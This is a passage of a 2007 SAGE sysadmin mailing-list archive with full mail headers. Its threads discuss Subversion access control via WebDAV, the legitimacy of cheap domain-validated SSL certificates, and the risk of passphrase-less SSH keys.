	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 20 Jan 2007 11:17:28 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0KJHSFI025880
	for sage-members-0utGoign; Sat, 20 Jan 2007 11:17:28 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0KJHEEa025849
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Sat, 20 Jan 2007 11:17:14 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0KJHE12025847
	for sage-members@usenix.org; Sat, 20 Jan 2007 11:17:14 -0800 (PST)
Received: from anarcat.ath.cx (H144.C72.B0.tor.eicat.ca [72.0.72.144])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0KHhDLo022602
	for <sage-members@sage.org>; Sat, 20 Jan 2007 09:43:24 -0800 (PST)
Received: by anarcat.ath.cx (Postfix, from userid 1000)
	id 159DC2063B; Sat, 20 Jan 2007 12:19:29 -0500 (EST)
Date: Sat, 20 Jan 2007 12:19:28 -0500
From: The Anarcat <anarcat@anarcat.ath.cx>
To: Neil Watson <sage@watson-wilson.ca>
Cc: sage-members@sage.org
Subject: Re: [SAGE] Subversion, passwords and ACLs
Message-ID: <20070120171928.GA14554@anarcat.ath.cx>
References: <20070119161746.GA31925@watson-wilson.ca>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="8t9RHnE3ZwKMSgU+"
Content-Disposition: inline
In-Reply-To: <20070119161746.GA31925@watson-wilson.ca>
User-Agent: Mutt/1.5.9i
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


--8t9RHnE3ZwKMSgU+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

If i remember correctly, ssh access cannot restrict properly access at
this level.

The Webdav module, however, allows for much more fine-grained control
over locations. It's what we use here and while we use an "htpasswd"
file to store credentials, it could be perfectly possible to use some
mod_pam apache module or something.

The following documentatio is in french, but it should give you some
guidelines:

http://wiki.koumbit.net/VersionControlService/SubVersion#head-configurer-su=
bversion

Also see svnbook.org.

A.

On Fri, Jan 19, 2007 at 11:17:46AM -0500, Neil Watson wrote:
> Suppose I have a Subversion repository:
>=20
> /trunk/
> /branches/dev
> /branches/qa
>=20
> I want to be able to limit users to certain directories.  John should
> only be able to access branches/qa.  Jane should only be able to access
> branches/dev.
>=20
> I can accomplish this using Subversion's authz-db files.  Using this
> method users contact a running Subversion daemon.  Their credentials are
> stored in a password-db file.  I do not like that this file is plain
> text.  I also do not like that this does not give the user's a chance to
> change their passwords.
>=20
> Is there a way to control directory access inside a repository while
> still using UNIX shell accounts for logins?
>=20
> --=20
> Neil Watson             | Debian Linux
> System Administrator    | Uptime 6 days
> http://watson-wilson.ca
>=20

--=20

--8t9RHnE3ZwKMSgU+
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFFsk8gWGBzs0AjcC8RAtkwAJ9JNmYVXHBweqef/5oPdAnHPmkBPgCfe+Ld
HkGIW/iNGLGtDQuNUuwBJGA=
=iWqO
-----END PGP SIGNATURE-----

--8t9RHnE3ZwKMSgU+--


From sage-members-owner@usenix.org Sun Jan 21 15:15:00 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0LNErDC016737
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 21 Jan 2007 15:14:53 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0LNErGT016736
	for sage-members-0utGoign; Sun, 21 Jan 2007 15:14:53 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0LNEBkx016723
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Sun, 21 Jan 2007 15:14:16 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0LNEBvQ016721
	for sage-members@usenix.org; Sun, 21 Jan 2007 15:14:11 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.170])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0KJSsuc026842
	for <sage-members@sage.org>; Sat, 20 Jan 2007 11:29:05 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id 74so695115ugb
	for <sage-members@sage.org>; Sat, 20 Jan 2007 11:28:53 -0800 (PST)
Received: by 10.67.121.15 with SMTP id y15mr5036675ugm.1169321333619;
	Sat, 20 Jan 2007 11:28:53 -0800 (PST)
Received: from ?192.168.1.102? ( [82.227.169.239])
	by mx.google.com with ESMTP id h1sm3674667ugf.2007.01.20.11.28.52;
	Sat, 20 Jan 2007 11:28:53 -0800 (PST)
In-Reply-To: <20070119170207.GH20885@hollenback.net>
References: <20070119170207.GH20885@hollenback.net>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-29--111923515;
	protocol="application/pkcs7-signature"
Message-Id: <A0D348EB-B981-46F9-BBD8-068A7BD1C1A8@samj.net>
Cc: sage-members@sage.org
From: Sam Johnston <samj@samj.net>
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Sat, 20 Jan 2007 20:28:40 +0100
To: philiph@pobox.com
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk


--Apple-Mail-29--111923515
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	delsp=yes;
	format=flowed

Philip,

These providers can afford to issue the certificates at these prices  
because the process is 100% automated by way of eg email  
verification. So long as users don't check that they trust the issuer  
(at least not directly; the trust they place in the software vendor  
is transitive) they are technically exactly the same as more  
expensive and harder to obtain certificates that have 3 figure price  
tags (though you typically don't get other bells and whistles like  
insurance). Regardless of whether intermediate certificate(s) are  
involved, all you really care about is what percentage of your client  
population will be satisfied (the extra effort in installing a  
certificate vs a chain of certificates is typically negligible).

I personally don't have a problem with the availability of cheap  
'domain verified' SSL certificates and consider them an important  
part of an ideal system where TLS is widely deployed not only for web  
but also other protocols like SMTP, IMAP, RDP, ICA, etc. I don't  
particularly like wild card certificates as an attacker only needs to  
compromise one host in order to impersonate them all so I don't see  
this as a valid solution (except perhaps for web hosting where one  
server hosts multiple sites under different subdomains). In your case  
they are ideal - the domain name is typically verified by manual  
entry into a configuration dialog (this is not the case when users
are for example clicking on blind links) so you just want to know  
that the machine you are talking to is the one you intended (to avoid  
MITM attacks) and that your data has not been intercepted or  
manipulated in transit.

On the more hairy question of the validation practices of certificate  
authorities I find it somewhat amusing that a new market now exists  
for 'extended validation' or 'high assurance' certificates[1], which  
is like saying 'what we were doing before doesn't really work, but  
give us a bunch more money and we promise we'll do it right this
time'. This is being helped along in no small part by browser vendors  
changing colours in the UI when these things are encountered, which  
the certification authorities hope will encourage everyone using a  
public facing secure web site to adopt them. This is more about  
proving that you are talking to the 'legal entity' you intended to  
rather than simply a given machine, which would be important if you  
are handing over sensitive information like your credit card number  
(the question of whether you should have to hand your credit card  
number over to anyone other than your own bank to complete a  
transaction is another altogether). This in itself is a hard problem  
as the verification process needs to be adapted to each and every  
jurisdiction, though when you've done it properly you can do sensible  
things like reveal the name of the subject (and issuer) through the  
UI (see the screenshot in [1] below for an example of both the green  
'good to go' chameleon UI and the display of 'WoodGrove Bank [US]' as  
the subject and Entrust as the issuer). At least we've waited to  
implement this until we had the processes sorted out as I'm sure I'm  
not the only one who remembers Verisign accidentally issuing two  
digital certificates in Microsoft's name a few years back[2]!

Summary: Cheap 'domain verified' certificates do have their place and  
would likely be suitable for your application.

Sam

1. http://en.wikipedia.org/wiki/Extended_Validation_(High_Assurance) 
_SSL_Certificates
2. http://news.com.com/2100-1001-254586.html

-- 
Sam Johnston
CTO
Microcost

On Jan 19, 2007, at 6:02 PM, Philip J. Hollenback wrote:

> At my work we have several internal websites which we serve over SSL
> with self-signed certificates.  Users complain about the annoyance of
> having to approve loading these sites in their browser every time.
> Thus I decided to get some 'real' SSL certificates.
>
> After some web searching, I found that namecheap.com would sell me a
> certificate for $13.95.  I purchases one of these and installed it.
> The certificate seems to work just fine.
>
> However, one of my co-workers believes that there is something
> fishy about these certificates since they are so inexpensive.  I
> checked the cert out and it looks like namecheap.com actually resells
> certificates from rapidssl.com.  The certs point to 'Equifax Secure
> Global eBusiness CA 1'.  On the rapidssl.com site they make a big deal
> about how their 'single root certificates' are superior to chained
> certificates from other vendors.
>
> Interestingly the cheapest you can buy a certificate from rapidssl.com
> is $70 so apparently namecheap.com is getting them much cheaper or
> selling them at a loss.
>
> So:
>
> 1. Is there any reason to not use these certificates?  This is for
>    internal use at my company only, not for outward-facing websites.
>
> 2. Are single root certificates really better than chained
>    certificates?  Or is there some reason why they would be worse?
>
> 3. I'm probably going to also use these certificates to secure imap
>    and smtp mail, again for internal use only.  Any reason to not use
>    these certs for that?
>
> Thanks,
> P.
>
> -- 
> Philip J. Hollenback
> www.hollenback.net


--Apple-Mail-29--111923515
Content-Transfer-Encoding: base64
Content-Type: application/pkcs7-signature;
	name=smime.p7s
Content-Disposition: attachment;
	filename=smime.p7s

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGMjCCAusw
ggJUoAMCAQICECRsS/v7ojkGG6A09sy+qUowDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDEwNzIzNTgzOFoXDTA4MDEwNzIzNTgz
OFowVjERMA8GA1UEBBMISm9obnN0b24xDDAKBgNVBCoTA1NhbTEVMBMGA1UEAxMMU2FtIEpvaG5z
dG9uMRwwGgYJKoZIhvcNAQkBFg1zYW1qQHNhbWoubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA1CEDH/xjdgOI3Ut9SbdA6TnifO9pu8POEpf33HTnXaZeWEEpuc9YGHAks+z1F9pC
mOm0UevExf6M19CUae9AaI2d3BKQqCml+8Fiws5fFpwyQwsp1FE6DYzo0fwrEHe/mshY0caEvdCo
UMAlMppbIeB/J/ahe7EROHq7Xn44J/7OgQ72NvB4GFS0wN4V+/+k6JfGhWhohap6JYlIFyTJ9UbA
lADPp0HQS9DefQF5OMMnUr9KraV3f2v5sbxUlU4bpgUH3t9NH0S9UHsxXkbNYBs5CO+t6IQp9Otf
dMpBOhIJibh/cPK8Th4/uSbfpT9ZN4TNkYKsILMsRQdue7SFVwIDAQABoyowKDAYBgNVHREEETAP
gQ1zYW1qQHNhbWoubmV0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEFBQADgYEAZ7QA34S2D3hH
FrjruANyTQUduUH4CE08yg/W0uu35pQx7vb/x0jlowAy+32j4ed9Sj3n/yehyfInXe8YmT7fnn+2
eK/LR54V0SWDzjm/o1N9zONe8urWW1drkxF5Cme7qh0r6Q4DKskLrHEdhihULemzc6YBnmJcWMea
eLCcQncwggM/MIICqKADAgECAgENMA0GCSqGSIb3DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMG
A1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBD
b25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYD
VQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFs
LWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQsw
CQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UE
AxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow
1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/EfkTYkKhPPK9Xzgnc9A74r/rsYPge/QIACZNenpruf
ZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7AgMBAAGjgZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBD
BgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLnRoYXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVl
bWFpbENBLmNybDALBgNVHQ8EBAMCAQYwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVM
YWJlbDItMTM4MA0GCSqGSIb3DQEBBQUAA4GBAEiM0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0wh
uPg2H6otnzYvwPQcUCCTcDz9reFhYsPZOhl+hLGZGwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBP
ZV+V2vf3h9bGCE6u9uo05RAaWzVNd+NWIXiC3CEZNd4ksdMdRv9dX2VPMYIDEDCCAwwCAQEwdjBi
MQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoG
A1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECECRsS/v7ojkGG6A09sy+
qUowCQYFKw4DAhoFAKCCAW8wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUx
DxcNMDcwMTIwMTkyODQxWjAjBgkqhkiG9w0BCQQxFgQUtXHtWSN3lNr8eaSNacdbwFbsJY0wgYUG
CSsGAQQBgjcQBDF4MHYwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5n
IChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENB
AhAkbEv7+6I5BhugNPbMvqlKMIGHBgsqhkiG9w0BCRACCzF4oHYwYjELMAkGA1UEBhMCWkExJTAj
BgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJz
b25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAhAkbEv7+6I5BhugNPbMvqlKMA0GCSqGSIb3DQEBAQUA
BIIBAD3Q5Y9IUwTiin8wyDZgfnlPzJO6xVBdhNeeaqj0n4MbmahUV+B1jjBZZGa9LbGTONXLsPT8
3Zx36DaCrCy5MFFlKthRS9ixry6whmvX1clAcDaj9RNupgOZB0iVDnORVIlm9gAQbkZgrcoSUTVM
eBnmzFjuOLIkLVN8OoSOpujnEEcReuLViSff8stkUNu18xhx4Z3LBZSeDEionryDFPQ7Giu+qQpA
obH/FdF2pIiit26975KBZ6jtQlwrieiZgn05QbHBqXHtJdc/Fn5KhRtPj6mO7ucYucGgFDdJimJz
85Hh6FjTIAkY321qqSkgzhqfkRMwK1Ieu2vEjOb1nS0AAAAAAAA=

--Apple-Mail-29--111923515--


From sage-members-owner@usenix.org Sun Jan 21 18:13:58 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0M2Dn0Q021110
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 21 Jan 2007 18:13:54 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0M2DnM5021109
	for sage-members-0utGoign; Sun, 21 Jan 2007 18:13:49 -0800 (PST)
Received: from scotch.datalyte.com (postfix@scotch.datalyte.com [69.31.85.242])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0M2DXvT021099
	for <sage-members@sage.org>; Sun, 21 Jan 2007 18:13:44 -0800 (PST)
X-SMTP-Auth: no
Received: from localhost (localhost [127.0.0.1])
	by scotch.datalyte.com (Postfix) with ESMTP id B9489137F3
	for <sage-members@sage.org>; Sun, 21 Jan 2007 23:02:13 -0500 (EST)
Received: from scotch.datalyte.com ([127.0.0.1])
	by localhost (scotch.datalyte.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24416-10 for <sage-members@sage.org>;
	Sun, 21 Jan 2007 23:02:06 -0500 (EST)
Received: from [192.168.0.101] (user-0cdf897.cable.mindspring.com
	[24.215.161.39]) (using TLSv1 with cipher AES128-SHA (128/128 bits))
	(No client certificate requested)
	by scotch.datalyte.com (Postfix) with ESMTP id 28D84137F1
	for <sage-members@sage.org>; Sun, 21 Jan 2007 23:02:06 -0500 (EST)
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <A0D348EB-B981-46F9-BBD8-068A7BD1C1A8@samj.net>
References: <20070119170207.GH20885@hollenback.net>
	<A0D348EB-B981-46F9-BBD8-068A7BD1C1A8@samj.net>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <4BB3FD0E-6A68-427D-BD9A-A3A1C0624756@mbarr.net>
Content-Transfer-Encoding: 7bit
From: Matthew Barr <mbarr@mbarr.net>
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Sun, 21 Jan 2007 20:48:06 -0500
To: sage-members@sage.org
X-Mailer: Apple Mail (2.752.3)
X-Virus-Scanned: Maia Mailguard 1.0.1
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

The major problem with these types of certs are that they are the  
exact same thing that's being done by CAcert.  I like CAcert.  I just  
wish it would be added into the browsers.  If the same verification  
method is happening, free is better than $20!

Matthew

Matthew Barr
Managing Partner
Datalyte Consulting, LLC
Apple Authorized Reseller
mailto:mbarr@datalyte.com
cell: (646) 765-6878



On Jan 20, 2007, at 2:28 PM, Sam Johnston wrote:

> Philip,
>
> These providers can afford to issue the certificates at these  
> prices because the process is 100% automated by way of eg email  
> verification. So long as users don't check that they trust the  
> issuer (at least not directly; the trust they place in the software  
> vendor is transitive) they are technically exactly the same as more  
> expensive and harder to obtain certificates that have 3 figure  
> price tags (though you typically don't get other bells and whistles  
> like insurance). Regardless of whether intermediate certificate(s)  
> are involved, all you really care about is what percentage of your  
> client population will be satisfied (the extra effort in installing  
> a certificate vs a chain of certificates is typically negligible).



From sage-members-owner@usenix.org Sun Jan 21 18:57:29 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0M2vKxp022316
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 21 Jan 2007 18:57:25 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0M2vJul022315
	for sage-members-0utGoign; Sun, 21 Jan 2007 18:57:20 -0800 (PST)
Received: from gretel.pobox.com (gretel.pobox.com [208.58.1.197])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0M2urdZ022299
	for <sage-members@sage.org>; Sun, 21 Jan 2007 18:57:03 -0800 (PST)
Received: from rune.pobox.com (rune.pobox.com [208.210.124.79])
	by gretel.pobox.com (Postfix) with ESMTP id 49F9154B13A5
	for <sage-members@sage.org>; Sun, 21 Jan 2007 21:57:12 -0500 (EST)
Received: from rune (localhost [127.0.0.1])
	by rune.pobox.com (Postfix) with ESMTP id 333DFAD5F1;
	Sun, 21 Jan 2007 21:55:58 -0500 (EST)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by rune.sasl.smtp.pobox.com (Postfix) with ESMTP id 09BEBAB6AE;
	Sun, 21 Jan 2007 21:55:56 -0500 (EST)
Date: Sun, 21 Jan 2007 21:55:33 -0500
From: "Philip J. Hollenback" <philiph@pobox.com>
To: Matthew Barr <mbarr@mbarr.net>
Cc: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Message-ID: <20070122025532.GH1973@hollenback.net>
Reply-To: philiph@pobox.com
References: <20070119170207.GH20885@hollenback.net>
	<A0D348EB-B981-46F9-BBD8-068A7BD1C1A8@samj.net>
	<4BB3FD0E-6A68-427D-BD9A-A3A1C0624756@mbarr.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <4BB3FD0E-6A68-427D-BD9A-A3A1C0624756@mbarr.net>
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=11%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 01/21/07, Matthew Barr wrote:
> The major problem with these types of certs are that they are the
> exact same thing that's being done by CAcert.  I like CAcert.  I
> just wish it would be added into the browsers.  If the same
> verification method is happening, free is better than $20!

Actually no - the certs from namecheap / rapidssl.com are already in
all the browsers (at least all the ones I checked - IE, Firefox,
Konqueror, and Safari).

P.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Sun Jan 21 20:17:07 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0M4H7w9024157
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 21 Jan 2007 20:17:07 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0M4H6Te024156
	for sage-members-0utGoign; Sun, 21 Jan 2007 20:17:06 -0800 (PST)
Received: from scotch.datalyte.com (postfix@scotch.datalyte.com [69.31.85.242])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0M4Gpf2024137
	for <sage-members@sage.org>; Sun, 21 Jan 2007 20:17:02 -0800 (PST)
X-SMTP-Auth: no
Received: from localhost (localhost [127.0.0.1])
	by scotch.datalyte.com (Postfix) with ESMTP id 8887B137F1;
	Mon, 22 Jan 2007 01:30:40 -0500 (EST)
Received: from scotch.datalyte.com ([127.0.0.1])
	by localhost (scotch.datalyte.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29302-02; Mon, 22 Jan 2007 01:30:31 -0500 (EST)
Received: from [192.168.0.101] (user-0cdf897.cable.mindspring.com
	[24.215.161.39]) (using TLSv1 with cipher AES128-SHA (128/128 bits))
	(No client certificate requested)
	by scotch.datalyte.com (Postfix) with ESMTP id E36011375B;
	Mon, 22 Jan 2007 01:30:30 -0500 (EST)
In-Reply-To: <20070122025532.GH1973@hollenback.net>
References: <20070119170207.GH20885@hollenback.net>
	<A0D348EB-B981-46F9-BBD8-068A7BD1C1A8@samj.net>
	<4BB3FD0E-6A68-427D-BD9A-A3A1C0624756@mbarr.net>
	<20070122025532.GH1973@hollenback.net>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <06A1E2FD-E3C9-4AC9-85AC-A8FDDB99C744@mbarr.net>
Cc: sage-members@sage.org
Content-Transfer-Encoding: 7bit
From: Matthew Barr <mbarr@mbarr.net>
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Sun, 21 Jan 2007 23:16:30 -0500
To: philiph@pobox.com
X-Mailer: Apple Mail (2.752.3)
X-Virus-Scanned: Maia Mailguard 1.0.1
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Jan 21, 2007, at 9:55 PM, Philip J. Hollenback wrote:

> On 01/21/07, Matthew Barr wrote:
>> The major problem with these types of certs are that they are the
>> exact same thing that's being done by CAcert.  I like CAcert.  I
>> just wish it would be added into the browsers.  If the same
>> verification method is happening, free is better than $20!
>
> Actually no - the certs from namecheap / rapidssl.com are already in
> all the browsers (at least all the ones I checked - IE, Firefox,
> Konqueror, and Safari).


I'm aware of that - I meant CACert's root certificate.  That *isn't*  
in the various browsers, and they do the same type of ownership  
check.  That's all I meant.  If one type of check is OK for one  
vendor, it should be OK for the other vendor.   In this case, i  
actually think that CAcert is on their way to being included in some  
browsers, but has to fulfill some other guidelines first...

Matthew


From sage-members-owner@usenix.org Mon Jan 22 06:57:03 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MEuvC6011854
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 06:56:57 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MEuvWQ011852
	for sage-members-0utGoign; Mon, 22 Jan 2007 06:56:57 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MEuSoh011808
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 06:56:39 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l0MEtRlb019904;
	Mon, 22 Jan 2007 08:55:27 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l0MEtQNG019900; Mon, 22 Jan 2007 08:55:26 -0600
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Mon, 22 Jan 2007 08:55:26 -0600 (CST)
Date: Mon, 22 Jan 2007 08:55:28 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: sage-members@usenix.org, general@brlug.net
Message-ID: <410572049.20070122085528@puryear-it.com>
Subject: [SAGE] The danger of SSH keys..
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.8 required=5.0 tests=AWL,BAYES_50,
	FORGED_MUA_THEBAT_CS autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Other than making a policy of "Put passwords on your SSH keys", how do
you handle the danger of some users potentially not using passwords on
their keys?

I'm interested in real-world ways to manage this issue. Policy
statements don't cut it for me. :)

If I have a system that doesn't allow keys, I can check for weak
passwords in the local system password database using various tools.
But I can't really *ENFORCE* a check against user keys (i.e., I can't
check for weak passwords or no passwords).

How are you dealing with this?

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm



From sage-members-owner@usenix.org Mon Jan 22 08:12:19 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MGCIWf015241
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 08:12:18 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MGCInJ015239
	for sage-members-0utGoign; Mon, 22 Jan 2007 08:12:18 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.248])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MGBoAZ015193
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 08:12:00 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id c5so372247anc
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 08:11:48 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
